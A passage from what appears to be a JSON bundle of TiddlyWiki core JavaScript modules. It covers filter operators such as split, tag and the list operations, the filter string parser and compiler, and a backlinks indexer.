makeStringBinaryOperator(\n\tfunction(a) {return [$tw.utils.trim(a)];}\n);\n\nexports.split = makeStringBinaryOperator(\n\tfunction(a,b) {return (\"\" + a).split(b);}\n);\n\nexports.join = makeStringReducingOperator(\n\tfunction(accumulator,value,operand) {\n\t\tif(accumulator === null) {\n\t\t\treturn value;\n\t\t} else {\n\t\t\treturn accumulator + operand + value;\n\t\t}\n\t},null\n);\n\nfunction makeStringBinaryOperator(fnCalc) {\n\treturn function(source,operator,options) {\n\t\tvar result = [];\n\t\tsource(function(tiddler,title) {\n\t\t\tArray.prototype.push.apply(result,fnCalc(title,operator.operand || \"\"));\n\t\t});\n\t\treturn result;\n\t};\n}\n\nfunction makeStringReducingOperator(fnCalc,initialValue) {\n\treturn function(source,operator,options) {\n\t\tvar result = [];\n\t\tsource(function(tiddler,title) {\n\t\t\tresult.push(title);\n\t\t});\n\t\treturn [result.reduce(function(accumulator,currentValue) {\n\t\t\treturn fnCalc(accumulator,currentValue,operator.operand || \"\");\n\t\t},initialValue) || \"\"];\n\t};\n}\n\nexports.splitregexp = function(source,operator,options) {\n\tvar result = [],\n\t\tsuffix = operator.suffix || \"\",\n\t\tflags = (suffix.indexOf(\"m\") !== -1 ? \"m\" : \"\") + (suffix.indexOf(\"i\") !== -1 ? \"i\" : \"\"),\n\t\tregExp;\n\ttry {\n\t\tregExp = new RegExp(operator.operand || \"\",flags);\t\t\n\t} catch(ex) {\n\t\treturn [\"RegExp error: \" + ex];\n\t}\n\tsource(function(tiddler,title) {\n\t\tArray.prototype.push.apply(result,title.split(regExp));\n\t});\t\t\n\treturn result;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/subfilter.js": {
"title": "$:/core/modules/filters/subfilter.js",
"text": "/*\\\ntitle: $:/core/modules/filters/subfilter.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator returning its operand evaluated as a filter\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.subfilter = function(source,operator,options) {\n\tvar list = options.wiki.filterTiddlers(operator.operand,options.widget,source);\n\tif(operator.prefix === \"!\") {\n\t\tvar results = [];\n\t\tsource(function(tiddler,title) {\n\t\t\tif(list.indexOf(title) === -1) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t\treturn results;\n\t} else {\n\t\treturn list;\n\t}\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/subtiddlerfields.js": {
"title": "$:/core/modules/filters/subtiddlerfields.js",
"text": "/*\\\ntitle: $:/core/modules/filters/subtiddlerfields.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for returning the names of the fields on the selected subtiddlers of the plugin named in the operand\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.subtiddlerfields = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tvar subtiddler = options.wiki.getSubTiddler(operator.operand,title);\n\t\tif(subtiddler) {\n\t\t\tfor(var fieldName in subtiddler.fields) {\n\t\t\t\t$tw.utils.pushTop(results,fieldName);\n\t\t\t}\n\t\t}\n\t});\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/suffix.js": {
"title": "$:/core/modules/filters/suffix.js",
"text": "/*\\\ntitle: $:/core/modules/filters/suffix.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for checking if a title ends with a suffix\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.suffix = function(source,operator,options) {\n\tvar results = [];\n\tif(operator.prefix === \"!\") {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(title.substr(-operator.operand.length) !== operator.operand) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t} else {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(title.substr(-operator.operand.length) === operator.operand) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t}\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/tag.js": {
"title": "$:/core/modules/filters/tag.js",
"text": "/*\\\ntitle: $:/core/modules/filters/tag.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for checking for the presence of a tag\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.tag = function(source,operator,options) {\n\tvar results = [],indexedResults;\n\tif((operator.suffix || \"\").toLowerCase() === \"strict\" && !operator.operand) {\n\t\t// New semantics:\n\t\t// Always return copy of input if operator.operand is missing\n\t\tsource(function(tiddler,title) {\n\t\t\tresults.push(title);\n\t\t});\n\t} else {\n\t\t// Old semantics:\n\t\tvar tiddlers;\n\t\tif(operator.prefix === \"!\") {\n\t\t\t// Returns a copy of the input if operator.operand is missing\n\t\t\ttiddlers = options.wiki.getTiddlersWithTag(operator.operand);\n\t\t\tsource(function(tiddler,title) {\n\t\t\t\tif(tiddlers.indexOf(title) === -1) {\n\t\t\t\t\tresults.push(title);\n\t\t\t\t}\n\t\t\t});\n\t\t} else {\n\t\t\t// Returns empty results if operator.operand is missing\n\t\t\tif(source.byTag) {\n\t\t\t\tindexedResults = source.byTag(operator.operand);\n\t\t\t\tif(indexedResults) {\n\t\t\t\t\treturn indexedResults;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\ttiddlers = options.wiki.getTiddlersWithTag(operator.operand);\n\t\t\t\tsource(function(tiddler,title) {\n\t\t\t\t\tif(tiddlers.indexOf(title) !== -1) {\n\t\t\t\t\t\tresults.push(title);\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t\tresults = options.wiki.sortByList(results,operator.operand);\n\t\t\t}\n\t\t}\t\t\n\t}\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/tagging.js": {
"title": "$:/core/modules/filters/tagging.js",
"text": "/*\\\ntitle: $:/core/modules/filters/tagging.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator returning all tiddlers that are tagged with the selected tiddlers\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.tagging = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\t$tw.utils.pushTop(results,options.wiki.getTiddlersWithTag(title));\n\t});\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/tags.js": {
"title": "$:/core/modules/filters/tags.js",
"text": "/*\\\ntitle: $:/core/modules/filters/tags.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator returning all the tags of the selected tiddlers\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.tags = function(source,operator,options) {\n\tvar tags = {};\n\tsource(function(tiddler,title) {\n\t\tvar t, length;\n\t\tif(tiddler && tiddler.fields.tags) {\n\t\t\tfor(t=0, length=tiddler.fields.tags.length; t<length; t++) {\n\t\t\t\ttags[tiddler.fields.tags[t]] = true;\n\t\t\t}\n\t\t}\n\t});\n\treturn Object.keys(tags);\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/then.js": {
"title": "$:/core/modules/filters/then.js",
"text": "/*\\\ntitle: $:/core/modules/filters/then.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for replacing any titles with a constant\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.then = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tresults.push(operator.operand);\n\t});\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/title.js": {
"title": "$:/core/modules/filters/title.js",
"text": "/*\\\ntitle: $:/core/modules/filters/title.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for comparing title fields for equality\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.title = function(source,operator,options) {\n\tvar results = [];\n\tif(operator.prefix === \"!\") {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(tiddler && tiddler.fields.title !== operator.operand) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t} else {\n\t\tresults.push(operator.operand);\n\t}\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/untagged.js": {
"title": "$:/core/modules/filters/untagged.js",
"text": "/*\\\ntitle: $:/core/modules/filters/untagged.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator returning all the selected tiddlers that are untagged\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.untagged = function(source,operator,options) {\n\tvar results = [];\n\tif(operator.prefix === \"!\") {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(tiddler && $tw.utils.isArray(tiddler.fields.tags) && tiddler.fields.tags.length > 0) {\n\t\t\t\t$tw.utils.pushTop(results,title);\n\t\t\t}\n\t\t});\n\t} else {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(!tiddler || !tiddler.hasField(\"tags\") || ($tw.utils.isArray(tiddler.fields.tags) && tiddler.fields.tags.length === 0)) {\n\t\t\t\t$tw.utils.pushTop(results,title);\n\t\t\t}\n\t\t});\n\t}\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/variables.js": {
"title": "$:/core/modules/filters/variables.js",
"text": "/*\\\ntitle: $:/core/modules/filters/variables.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for returning the names of the active variables\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.variables = function(source,operator,options) {\n\tvar names = [];\n\tfor(var variable in options.widget.variables) {\n\t\tnames.push(variable);\n\t}\n\treturn names.sort();\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/wikiparserrules.js": {
"title": "$:/core/modules/filters/wikiparserrules.js",
"text": "/*\\\ntitle: $:/core/modules/filters/wikiparserrules.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for returning the names of the wiki parser rules in this wiki\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.wikiparserrules = function(source,operator,options) {\n\tvar results = [],\n\t\toperand = operator.operand;\n\t$tw.utils.each($tw.modules.types.wikirule,function(mod) {\n\t\tvar exp = mod.exports;\n\t\tif(!operand || exp.types[operand]) {\n\t\t\tresults.push(exp.name);\n\t\t}\n\t});\n\tresults.sort();\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/x-listops.js": {
"title": "$:/core/modules/filters/x-listops.js",
"text": "/*\\\ntitle: $:/core/modules/filters/x-listops.js\ntype: application/javascript\nmodule-type: filteroperator\n\nExtended filter operators to manipulate the current list.\n\n\\*/\n(function () {\n\n /*jslint node: true, browser: true */\n /*global $tw: false */\n \"use strict\";\n\n /*\n Fetch titles from the current list\n */\n var prepare_results = function (source) {\n var results = [];\n source(function (tiddler, title) {\n results.push(title);\n });\n return results;\n };\n\n /*\n Moves a number of items from the tail of the current list before the item named in the operand\n */\n exports.putbefore = function (source, operator) {\n var results = prepare_results(source),\n index = results.indexOf(operator.operand),\n count = $tw.utils.getInt(operator.suffix,1);\n return (index === -1) ?\n results.slice(0, -1) :\n results.slice(0, index).concat(results.slice(-count)).concat(results.slice(index, -count));\n };\n\n /*\n Moves a number of items from the tail of the current list after the item named in the operand\n */\n exports.putafter = function (source, operator) {\n var results = prepare_results(source),\n index = results.indexOf(operator.operand),\n count = $tw.utils.getInt(operator.suffix,1);\n return (index === -1) ?\n results.slice(0, -1) :\n results.slice(0, index + 1).concat(results.slice(-count)).concat(results.slice(index + 1, -count));\n };\n\n /*\n Replaces the item named in the operand with a number of items from the tail of the current list\n */\n exports.replace = function (source, operator) {\n var results = prepare_results(source),\n index = results.indexOf(operator.operand),\n count = $tw.utils.getInt(operator.suffix,1);\n return (index === -1) ?\n results.slice(0, -count) :\n results.slice(0, index).concat(results.slice(-count)).concat(results.slice(index + 1, -count));\n };\n\n /*\n Moves a number of items from the tail of the current list to the head of the list\n */\n exports.putfirst = function (source, operator) {\n var results = prepare_results(source),\n count = $tw.utils.getInt(operator.suffix,1);\n return results.slice(-count).concat(results.slice(0, -count));\n };\n\n /*\n Moves a number of items from the head of the current list to the tail of the list\n */\n exports.putlast = function (source, operator) {\n var results = prepare_results(source),\n count = $tw.utils.getInt(operator.suffix,1);\n return results.slice(count).concat(results.slice(0, count));\n };\n\n /*\n Moves the item named in the operand a number of places forward or backward in the list\n */\n exports.move = function (source, operator) {\n var results = prepare_results(source),\n index = results.indexOf(operator.operand),\n count = $tw.utils.getInt(operator.suffix,1),\n marker = results.splice(index, 1),\n offset = (index + count) > 0 ? index + count : 0;\n return results.slice(0, offset).concat(marker).concat(results.slice(offset));\n };\n\n /*\n Returns the items from the current list that are after the item named in the operand\n */\n exports.allafter = function (source, operator) {\n var results = prepare_results(source),\n index = results.indexOf(operator.operand);\n return (index === -1) ? [] :\n (operator.suffix) ? results.slice(index) :\n results.slice(index + 1);\n };\n\n /*\n Returns the items from the current list that are before the item named in the operand\n */\n exports.allbefore = function (source, operator) {\n var results = prepare_results(source),\n index = results.indexOf(operator.operand);\n return (index === -1) ? [] :\n (operator.suffix) ? results.slice(0, index + 1) :\n results.slice(0, index);\n };\n\n /*\n Appends the items listed in the operand array to the tail of the current list\n */\n exports.append = function (source, operator) {\n var append = $tw.utils.parseStringArray(operator.operand, \"true\"),\n results = prepare_results(source),\n count = parseInt(operator.suffix) || append.length;\n return (append.length === 0) ? results :\n (operator.prefix) ? results.concat(append.slice(-count)) :\n results.concat(append.slice(0, count));\n };\n\n /*\n Prepends the items listed in the operand array to the head of the current list\n */\n exports.prepend = function (source, operator) {\n var prepend = $tw.utils.parseStringArray(operator.operand, \"true\"),\n results = prepare_results(source),\n count = $tw.utils.getInt(operator.suffix,prepend.length);\n return (prepend.length === 0) ? results :\n (operator.prefix) ? prepend.slice(-count).concat(results) :\n prepend.slice(0, count).concat(results);\n };\n\n /*\n Returns all items from the current list except the items listed in the operand array\n */\n exports.remove = function (source, operator) {\n var array = $tw.utils.parseStringArray(operator.operand, \"true\"),\n results = prepare_results(source),\n count = parseInt(operator.suffix) || array.length,\n p,\n len,\n index;\n len = array.length - 1;\n for (p = 0; p < count; ++p) {\n if (operator.prefix) {\n index = results.indexOf(array[len - p]);\n } else {\n index = results.indexOf(array[p]);\n }\n if (index !== -1) {\n results.splice(index, 1);\n }\n }\n return results;\n };\n\n /*\n Returns all items from the current list sorted in the order of the items in the operand array\n */\n exports.sortby = function (source, operator) {\n var results = prepare_results(source);\n if (!results || results.length < 2) {\n return results;\n }\n var lookup = $tw.utils.parseStringArray(operator.operand, \"true\");\n results.sort(function (a, b) {\n return lookup.indexOf(a) - lookup.indexOf(b);\n });\n return results;\n };\n\n /*\n Removes all duplicate items from the current list\n */\n exports.unique = function (source, operator) {\n var results = prepare_results(source);\n var set = results.reduce(function (a, b) {\n if (a.indexOf(b) < 0) {\n a.push(b);\n }\n return a;\n }, []);\n return set;\n };\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters.js": {
"title": "$:/core/modules/filters.js",
"text": "/*\\\ntitle: $:/core/modules/filters.js\ntype: application/javascript\nmodule-type: wikimethod\n\nAdds tiddler filtering methods to the $tw.Wiki object.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nParses an operation (i.e. a run) within a filter string\n\toperators: Array of array of operator nodes into which results should be inserted\n\tfilterString: filter string\n\tp: start position within the string\nReturns the new start position, after the parsed operation\n*/\nfunction parseFilterOperation(operators,filterString,p) {\n\tvar nextBracketPos, operator;\n\t// Skip the starting square bracket\n\tif(filterString.charAt(p++) !== \"[\") {\n\t\tthrow \"Missing [ in filter expression\";\n\t}\n\t// Process each operator in turn\n\tdo {\n\t\toperator = {};\n\t\t// Check for an operator prefix\n\t\tif(filterString.charAt(p) === \"!\") {\n\t\t\toperator.prefix = filterString.charAt(p++);\n\t\t}\n\t\t// Get the operator name\n\t\tnextBracketPos = filterString.substring(p).search(/[\\[\\{<\\/]/);\n\t\tif(nextBracketPos === -1) {\n\t\t\tthrow \"Missing [ in filter expression\";\n\t\t}\n\t\tnextBracketPos += p;\n\t\tvar bracket = filterString.charAt(nextBracketPos);\n\t\toperator.operator = filterString.substring(p,nextBracketPos);\n\t\t// Any suffix?\n\t\tvar colon = operator.operator.indexOf(':');\n\t\tif(colon > -1) {\n\t\t\t// The raw suffix for older filters\n\t\t\toperator.suffix = operator.operator.substring(colon + 1);\n\t\t\toperator.operator = operator.operator.substring(0,colon) || \"field\";\n\t\t\t// The processed suffix for newer filters\n\t\t\toperator.suffixes = [];\n\t\t\t$tw.utils.each(operator.suffix.split(\":\"),function(subsuffix) {\n\t\t\t\toperator.suffixes.push([]);\n\t\t\t\t$tw.utils.each(subsuffix.split(\",\"),function(entry) {\n\t\t\t\t\tentry = $tw.utils.trim(entry);\n\t\t\t\t\tif(entry) {\n\t\t\t\t\t\toperator.suffixes[operator.suffixes.length - 1].push(entry); \n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t});\n\t\t}\n\t\t// Empty operator means: title\n\t\telse if(operator.operator === \"\") {\n\t\t\toperator.operator = \"title\";\n\t\t}\n\n\t\tp = nextBracketPos + 1;\n\t\tswitch (bracket) {\n\t\t\tcase \"{\": // Curly brackets\n\t\t\t\toperator.indirect = true;\n\t\t\t\tnextBracketPos = filterString.indexOf(\"}\",p);\n\t\t\t\tbreak;\n\t\t\tcase \"[\": // Square brackets\n\t\t\t\tnextBracketPos = filterString.indexOf(\"]\",p);\n\t\t\t\tbreak;\n\t\t\tcase \"<\": // Angle brackets\n\t\t\t\toperator.variable = true;\n\t\t\t\tnextBracketPos = filterString.indexOf(\">\",p);\n\t\t\t\tbreak;\n\t\t\tcase \"/\": // regexp brackets\n\t\t\t\tvar rex = /^((?:[^\\\\\\/]*|\\\\.)*)\\/(?:\\(([mygi]+)\\))?/g,\n\t\t\t\t\trexMatch = rex.exec(filterString.substring(p));\n\t\t\t\tif(rexMatch) {\n\t\t\t\t\toperator.regexp = new RegExp(rexMatch[1], rexMatch[2]);\n// DEPRECATION WARNING\nconsole.log(\"WARNING: Filter\",operator.operator,\"has a deprecated regexp operand\",operator.regexp);\n\t\t\t\t\tnextBracketPos = p + rex.lastIndex - 1;\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tthrow \"Unterminated regular expression in filter expression\";\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t}\n\n\t\tif(nextBracketPos === -1) {\n\t\t\tthrow \"Missing closing bracket in filter expression\";\n\t\t}\n\t\tif(!operator.regexp) {\n\t\t\toperator.operand = filterString.substring(p,nextBracketPos);\n\t\t}\n\t\tp = nextBracketPos + 1;\n\n\t\t// Push this operator\n\t\toperators.push(operator);\n\t} while(filterString.charAt(p) !== \"]\");\n\t// Skip the ending square bracket\n\tif(filterString.charAt(p++) !== \"]\") {\n\t\tthrow \"Missing ] in filter expression\";\n\t}\n\t// Return the parsing position\n\treturn p;\n}\n\n/*\nParse a filter string\n*/\nexports.parseFilter = function(filterString) {\n\tfilterString = filterString || \"\";\n\tvar results = [], // Array of arrays of operator nodes {operator:,operand:}\n\t\tp = 0, // Current position in the filter string\n\t\tmatch;\n\tvar whitespaceRegExp = /(\\s+)/mg,\n\t\toperandRegExp = /((?:\\+|\\-|~|=)?)(?:(\\[)|(?:\"([^\"]*)\")|(?:'([^']*)')|([^\\s\\[\\]]+))/mg;\n\twhile(p < filterString.length) {\n\t\t// Skip any whitespace\n\t\twhitespaceRegExp.lastIndex = p;\n\t\tmatch = whitespaceRegExp.exec(filterString);\n\t\tif(match && match.index === p) {\n\t\t\tp = p + match[0].length;\n\t\t}\n\t\t// Match the start of the operation\n\t\tif(p < filterString.length) {\n\t\t\toperandRegExp.lastIndex = p;\n\t\t\tmatch = operandRegExp.exec(filterString);\n\t\t\tif(!match || match.index !== p) {\n\t\t\t\tthrow $tw.language.getString(\"Error/FilterSyntax\");\n\t\t\t}\n\t\t\tvar operation = {\n\t\t\t\tprefix: \"\",\n\t\t\t\toperators: []\n\t\t\t};\n\t\t\tif(match[1]) {\n\t\t\t\toperation.prefix = match[1];\n\t\t\t\tp++;\n\t\t\t}\n\t\t\tif(match[2]) { // Opening square bracket\n\t\t\t\tp = parseFilterOperation(operation.operators,filterString,p);\n\t\t\t} else {\n\t\t\t\tp = match.index + match[0].length;\n\t\t\t}\n\t\t\tif(match[3] || match[4] || match[5]) { // Double quoted string, single quoted string or unquoted title\n\t\t\t\toperation.operators.push(\n\t\t\t\t\t{operator: \"title\", operand: match[3] || match[4] || match[5]}\n\t\t\t\t);\n\t\t\t}\n\t\t\tresults.push(operation);\n\t\t}\n\t}\n\treturn results;\n};\n\nexports.getFilterOperators = function() {\n\tif(!this.filterOperators) {\n\t\t$tw.Wiki.prototype.filterOperators = {};\n\t\t$tw.modules.applyMethods(\"filteroperator\",this.filterOperators);\n\t}\n\treturn this.filterOperators;\n};\n\nexports.filterTiddlers = function(filterString,widget,source) {\n\tvar fn = this.compileFilter(filterString);\n\treturn fn.call(this,source,widget);\n};\n\n/*\nCompile a filter into a function with the signature fn(source,widget) where:\nsource: an iterator function for the source tiddlers, called source(iterator), where iterator is called as iterator(tiddler,title)\nwidget: an optional widget node for retrieving the current tiddler etc.\n*/\nexports.compileFilter = function(filterString) {\n\tvar filterParseTree;\n\ttry {\n\t\tfilterParseTree = this.parseFilter(filterString);\n\t} catch(e) {\n\t\treturn function(source,widget) {\n\t\t\treturn [$tw.language.getString(\"Error/Filter\") + \": \" + e];\n\t\t};\n\t}\n\t// Get the hashmap of filter operator functions\n\tvar filterOperators = this.getFilterOperators();\n\t// Assemble array of functions, one for each operation\n\tvar operationFunctions = [];\n\t// Step through the operations\n\tvar self = this;\n\t$tw.utils.each(filterParseTree,function(operation) {\n\t\t// Create a function for the chain of operators in the operation\n\t\tvar operationSubFunction = function(source,widget) {\n\t\t\tvar accumulator = source,\n\t\t\t\tresults = [],\n\t\t\t\tcurrTiddlerTitle = widget && widget.getVariable(\"currentTiddler\");\n\t\t\t$tw.utils.each(operation.operators,function(operator) {\n\t\t\t\tvar operand = operator.operand,\n\t\t\t\t\toperatorFunction;\n\t\t\t\tif(!operator.operator) {\n\t\t\t\t\toperatorFunction = filterOperators.title;\n\t\t\t\t} else if(!filterOperators[operator.operator]) {\n\t\t\t\t\toperatorFunction = filterOperators.field;\n\t\t\t\t} else {\n\t\t\t\t\toperatorFunction = filterOperators[operator.operator];\n\t\t\t\t}\n\t\t\t\tif(operator.indirect) {\n\t\t\t\t\toperand = self.getTextReference(operator.operand,\"\",currTiddlerTitle);\n\t\t\t\t}\n\t\t\t\tif(operator.variable) {\n\t\t\t\t\toperand = widget.getVariable(operator.operand,{defaultValue: \"\"});\n\t\t\t\t}\n\t\t\t\t// Invoke the appropriate filteroperator module\n\t\t\t\tresults = operatorFunction(accumulator,{\n\t\t\t\t\t\t\toperator: operator.operator,\n\t\t\t\t\t\t\toperand: operand,\n\t\t\t\t\t\t\tprefix: operator.prefix,\n\t\t\t\t\t\t\tsuffix: operator.suffix,\n\t\t\t\t\t\t\tsuffixes: operator.suffixes,\n\t\t\t\t\t\t\tregexp: operator.regexp\n\t\t\t\t\t\t},{\n\t\t\t\t\t\t\twiki: self,\n\t\t\t\t\t\t\twidget: widget\n\t\t\t\t\t\t});\n\t\t\t\tif($tw.utils.isArray(results)) {\n\t\t\t\t\taccumulator = self.makeTiddlerIterator(results);\n\t\t\t\t} else {\n\t\t\t\t\taccumulator = results;\n\t\t\t\t}\n\t\t\t});\n\t\t\tif($tw.utils.isArray(results)) {\n\t\t\t\treturn results;\n\t\t\t} else {\n\t\t\t\tvar resultArray = [];\n\t\t\t\tresults(function(tiddler,title) {\n\t\t\t\t\tresultArray.push(title);\n\t\t\t\t});\n\t\t\t\treturn resultArray;\n\t\t\t}\n\t\t};\n\t\t// Wrap the operator functions in a wrapper function that depends on the prefix\n\t\toperationFunctions.push((function() {\n\t\t\tswitch(operation.prefix || \"\") {\n\t\t\t\tcase \"\": // No prefix means that the operation is unioned into the result\n\t\t\t\t\treturn function(results,source,widget) {\n\t\t\t\t\t\t$tw.utils.pushTop(results,operationSubFunction(source,widget));\n\t\t\t\t\t};\n\t\t\t\tcase \"=\": // The results of the operation are pushed into the result without deduplication\n\t\t\t\t\treturn function(results,source,widget) {\n\t\t\t\t\t\tArray.prototype.push.apply(results,operationSubFunction(source,widget));\n\t\t\t\t\t};\n\t\t\t\tcase \"-\": // The results of this operation are removed from the main result\n\t\t\t\t\treturn function(results,source,widget) {\n\t\t\t\t\t\t$tw.utils.removeArrayEntries(results,operationSubFunction(source,widget));\n\t\t\t\t\t};\n\t\t\t\tcase \"+\": // This operation is applied to the main results so far\n\t\t\t\t\treturn function(results,source,widget) {\n\t\t\t\t\t\t// This replaces all the elements of the array, but keeps the actual array so that references to it are preserved\n\t\t\t\t\t\tsource = self.makeTiddlerIterator(results);\n\t\t\t\t\t\tresults.splice(0,results.length);\n\t\t\t\t\t\t$tw.utils.pushTop(results,operationSubFunction(source,widget));\n\t\t\t\t\t};\n\t\t\t\tcase \"~\": // This operation is unioned into the result only if the main result so far is empty\n\t\t\t\t\treturn function(results,source,widget) {\n\t\t\t\t\t\tif(results.length === 0) {\n\t\t\t\t\t\t\t// Main result so far is empty\n\t\t\t\t\t\t\t$tw.utils.pushTop(results,operationSubFunction(source,widget));\n\t\t\t\t\t\t}\n\t\t\t\t\t};\n\t\t\t}\n\t\t})());\n\t});\n\t// Return a function that applies the operations to a source iterator of tiddler titles\n\treturn $tw.perf.measure(\"filter: \" + filterString,function filterFunction(source,widget) {\n\t\tif(!source) {\n\t\t\tsource = self.each;\n\t\t} else if(typeof source === \"object\") { // Array or hashmap\n\t\t\tsource = self.makeTiddlerIterator(source);\n\t\t}\n\t\tvar results = [];\n\t\t$tw.utils.each(operationFunctions,function(operationFunction) {\n\t\t\toperationFunction(results,source,widget);\n\t\t});\n\t\treturn results;\n\t});\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "wikimethod"
},
"$:/core/modules/indexers/backlinks-indexer.js": {
"title": "$:/core/modules/indexers/backlinks-indexer.js",
"text": "/*\\\ntitle: $:/core/modules/indexers/backlinks-indexer.js\ntype: application/javascript\nmodule-type: indexer\n\nIndexes the tiddlers' backlinks\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global modules: false */\n\"use strict\";\n\n\nfunction BacklinksIndexer(wiki) {\n\tthis.wiki = wiki;\n}\n\nBacklinksIndexer.prototype.init = function() {\n\tthis.index = null;\n}\n\nBacklinksIndexer.prototype.rebuild = function() {\n\tthis.index = null;\n}\n\nBacklinksIndexer.prototype._getLinks = function(tiddler) {\n\tvar parser = this.wiki.parseText(tiddler.fields.type, tiddler.fields.text, {});\n\tif(parser) {\n\t\treturn this.wiki.extractLinks(parser.tree);\n\t}\n\treturn [];\n}\n\nBacklinksIndexer.prototype.update = function(updateDescriptor) {\n\tif(!this.index) {\n\t\treturn;\n\t}\n\tvar newLinks = [],\n\t oldLinks = [],\n\t self = this;\n\tif(updateDescriptor.old.exists) {\n\t\toldLinks = this._getLinks(updateDescriptor.old.tiddler);\n\t}\n\tif(updateDescriptor.new.exists) {\n\t\tnewLinks = this._getLinks(updateDescriptor.new.tiddler);\n\t}\n\n\t$tw.utils.each(oldLinks,function(link) {\n\t\tif(self.index[link]) {\n\t\t\tdelete self.index[link][updateDescriptor.old.tiddler.fields.title];\n\t\t}\n\t});\n\t$tw.utils.each(newLinks,function(link) {\n\t\tif(!self.index[link]) {\n\t\t\tself.index[link] = Object.create(null);\n\t\t}\n\t\tself.index[link][updateDescriptor.new.tiddler.fields.title] = true;\n\t});\n}\n\nBacklinksIndexer.prototype.lookup = function(title) {\n\tif(!this.index) {\n\t\tthis.index = Object.create(null);\n\t\tvar self = this;\n\t\tthis.wiki.forEachTiddler(function(title,tiddler) {\n\t\t\tvar links = self._getLinks(tiddler);\n\t\t\t$tw.utils.each(links, function(link) {\n\t\t\t\tif(!self.index[link]) {\n\t\t\t\t\tself.index[link] = Object.create(null);\n\t\t\t\t}\n\t\t\t\tself.index[link][title] = true;\n\t\t\t});\n\t\t});\n\t}\n\tif(this.index[title]) {\n\t\treturn Object.keys(this.index[title]);\n\t} else {\n\t\treturn [];\n\t}\n}\n\nexports.BacklinksIndexer = BacklinksIndexer;\n\n})();\n",
"type": "application/javascript",
"module-type": "indexer"
},
"$:/core/modules/indexers/field-indexer.js": {
"title": "$:/core/modules/indexers/field-indexer.js",
